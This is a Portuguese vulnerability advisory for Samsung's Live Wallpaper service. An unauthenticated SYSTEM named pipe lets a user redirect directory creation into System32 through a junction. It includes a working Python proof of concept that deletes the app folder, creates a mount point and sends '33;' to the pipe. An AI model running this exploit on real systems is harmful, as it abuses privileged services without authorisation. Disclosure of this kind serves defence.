
Um controle de acesso inadequado no LiveWallpaperService anterior às versões 3.0.9.0 permite criar um diretório específico do sistema com um nome específico sem a permissão adequada.
Versão do Windows testada: Windows 10 20H2 (Build 19042.1348) 64 bits
Versão do Live Wallpaper: 3.0.9.0 ou anterior
Existe um LiveWallpaperService que opera por padrão em laptops Samsung, mas foi encontrada uma vulnerabilidade que criava o diretório SYSTEM em um diretório com privilégios de SYSTEM no serviço SYSTEM.
O Live Wallpaper geralmente é instalado por padrão em laptops Samsung, mas também é um aplicativo disponível na Microsoft Store. O aplicativo pode ser executado com permissão de Usuário e comunica-se entre o servidor e o cliente por meio de IPC via Named PIPE. Nesse momento, o Servidor PIPE opera com privilégios de SYSTEM e não verifica quem são os clientes.
A seguir está o processo de operação executado quando o aplicativo correspondente é iniciado.
Ao receber a string unicode '33;', o servidor acessa a pasta 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' e verifica a existência do diretório LiveWallpaperData. Um novo diretório do sistema de arquivos é criado no diretório com o nome 'LiveWallpaperData'.
O Named PIPE é usado para comunicação entre processos. Como não há inspeção separada do cliente, o atacante pode abri-lo diretamente e enviar os dados desejados.
Primeiro, após abrir o Named PIPE diretamente, crie uma junção de diretório para C:\Windows\System32 usando o symboliclink-testing-tools produzido por james forshaw. Ela é criada como um subdiretório do diretório System32 com privilégios.
Aqui está o PoC para essa vulnerabilidade.
Para executar o PoC, as seguintes condições devem ser atendidas:
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()